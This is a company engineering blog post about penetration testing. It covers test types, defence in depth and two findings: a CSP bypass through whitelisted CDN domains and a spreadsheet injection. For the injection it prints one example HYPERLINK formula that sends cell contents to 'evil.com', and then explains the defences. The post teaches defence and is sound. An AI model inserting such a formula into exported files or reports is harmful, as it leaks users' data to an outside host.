Read time: 7 mins
Security is a critical element of the Mention Me platform. Our clients rely on us to keep their data secure.
In this blog, we’ll dive into one aspect of our security process: the penetration test (or "pen test").
What is it?
Penetration testing is where an individual or team is paid to try and break into something. It might be into a physical environment (e.g. a bank) or a software platform like Mention Me.
Penetration testers try to use the same tools and techniques as "the bad guys" would to uncover vulnerabilities in our code. These might be hacking tools, or social engineering tools.
We try our hardest to ensure we never introduce security vulnerabilities, and pen testing helps to figure out if we have or not.
It's tricky to write about security - after all, we wouldn't want to give anyone clues on how to break into Mention Me! We do hope, however, this blog can reveal some of our learnings.
How do we do it?
Most importantly, we work with an external provider - we use Cure53 at the moment, but we change it based on a variety of factors - to provide testing. We also use automated continuous tools.
There are many types of penetration testing, which generally boil down into white, grey or black box testing.
In black box testing, the penetration tester doesn't have any special knowledge or access. They don't have access to our codebase, and have to try and break in without knowing how the platform is built.
In white box testing, the penetration tester might have access to the code that runs the platform, so they can read it, run it and hunt for possible vulnerabilities.
And, lastly - as you might be able to guess - grey is a mix of the two.
We generally prefer white or grey box testing. If we can give the attacker a leg up and they still can't get in, then that's a good sign. And in a complex application like ours, it can give the pentester an idea of where to focus energy without needing to understand the whole application.
Defence
It's worth thinking about what it means for an attacker to gain access.
For us, it's important to follow a model of "defence in depth".
This means we put up lots of types of defences at different stages, so you haven't got complete access if you get through one of them.
We still consider it a security bug if you can get through one of the layers. We'll definitely fix it. But it gives us reassurance that we haven't left the keys to the kingdom on the doorstep.
We also rely on a large amount of open source code, and it's not unusual to find issues related to those. We always try to provide those fixes back upstream, whether they're code fixes or just documentation guidance, so a new user knows how to use this tool securely.
Last but not least, it's important to realise that code alone isn't a good fix. That might solve this issue, but we need to ensure we don't introduce additional ones too.
We do training with our team (all of them, not just certain roles) to help us become more aware of security issues.
Last year, we ran a Capture the Flag session as a training course to help engineers think like attackers, and we're planning to do something similar again soon.
You might like to try out Juice Shop, a sophisticated insecure application which is great for engineers learning how to attack and defend their applications. Or, there are penetration testing learning platforms (if you're open to paying) such as Secure Code Warrior or Pen Tester Lab.
How devious!
As we've progressed in our security learnings, our biggest takeaway is that penetration testers are exceptionally crafty and often devious. (I mean that in the nicest possible way, pentesters!)
Many developers believe they can get by with the basics. Sensible defaults like React's automatic escaping, or Symfony Forms CSRF protection will protect us, right?
Unfortunately, this isn't the case. Some of the issues we've found during penetration testing are down to application logic and not considering unusual or clever cases.
It's important that as developers and engineers, we learn that by default we don't always think like an attacker. We can easily leave holes or issues which can be exploited. We'll show you a few below.
Our (least) favourite issues
We've talked about the process, so let's get into the fun stuff and explore some of the exploits found by pentesters.
As these issues relate to security, we're going to keep our descriptions quite high level. After all, we don't wish to make an attacker's job easier.
But, we'll try and talk a little about some of the issues we've found with our penetration testing partners - including the ones which surprised us.
Spreadsheet injection
Many developers will be familiar with "injection attacks", where content provided by a user can be added to a page. Javascript injection is the most common. A crafty user will inject Javascript that accidentally ends up running and doing something it shouldn't.
We'd never considered that spreadsheets could be a source of these exploits too. Excel has features that help exfiltrate data out of a spreadsheet. Consider for instance this formula:
=HYPERLINK("http://evil.com?leak="&A1&B1, "Error: please click for further information")
That = sign turns it into a formula, and in Excel it looks like this:
Clicking on the link will send the value "Secret3" to evil.com. Uh-oh!
If a user can somehow get text into the Mention Me reporting platform they can control, this exploit could trick an unsuspecting user. It's not a perfect attack - the user still needs to fall for it, but that's still enough.
We can defend this in a couple of ways:
- Firstly, we restrict what characters people can send us. = is not a valid character in a name for instance, so let's not allow that - that way it'll never get to the reporting system
- Secondly, adding ' to the beginning of a value in Excel will prevent the value from being a formula.
Here's the second one in action. See the ' at the beginning of the formula bar.
Thank you to Context (now part of Accenture) for finding this one.
We have added other protections to defend against this. Can you think of additional defences you might add?
CSP Bypass
A CSP (Content Security Policy) is a great security tool for restricting what code, imagery, fonts and more can run on a website. It's a great example of adding an extra layer of defence to prevent attackers from being able to exploit a site.
One of our pentesters was able to bypass our policy in a creative way.
We had whitelisted a range of domains for Javascript (e.g. mention-me.com, a domain we own) as well as third-party domains we use for certain tools.
Two of these were:
- cdnjs.cloudflare.com
- gstatic.com
These domains host Javascript used by us and third parties, so we needed to whitelist them.
However, our pentester found that there are other scripts on these sites which are exploitable. For instance:
- Both Google and Cloudflare host exploitable versions of Angular
- Google hosts a Google Feedback tool on gstatic.com which can be used to run Javascript callbacks
This enabled our attacker to load external scripts, which can then run scripts of the attacker’s choice. This still respects our CSP, but allows a complete bypass of it.
There's a very easy fix for this one: the CSP options include a path option.
Adding a path to limit which sub-folders can be consumed by the Mention Me platform reduces this type of attack. Now we only allow paths which host specific code, not just any code.
Thank you to Cure53 for this one.
We keep going
We're never "finished" with security. It's a piece of work that’s constantly evolving as we try to stay ahead of attackers as best as we can.
And it's important that we share responsibility as a team - one person might have committed the code with the mistake, but together we reviewed it, tested it and maintained it. And together we'll fix it, document it, test it and learn from it.
We hope you've enjoyed this brief jaunt into the world of pen testing, and if you've got questions we'd love to hear them.
Also - if you've found an issue, have a look at our vulnerability disclosure program. We'd really appreciate it if you could let us know.
Fancy working in an environment like ours? Don't hesitate to reach out too!
Share:
Share:
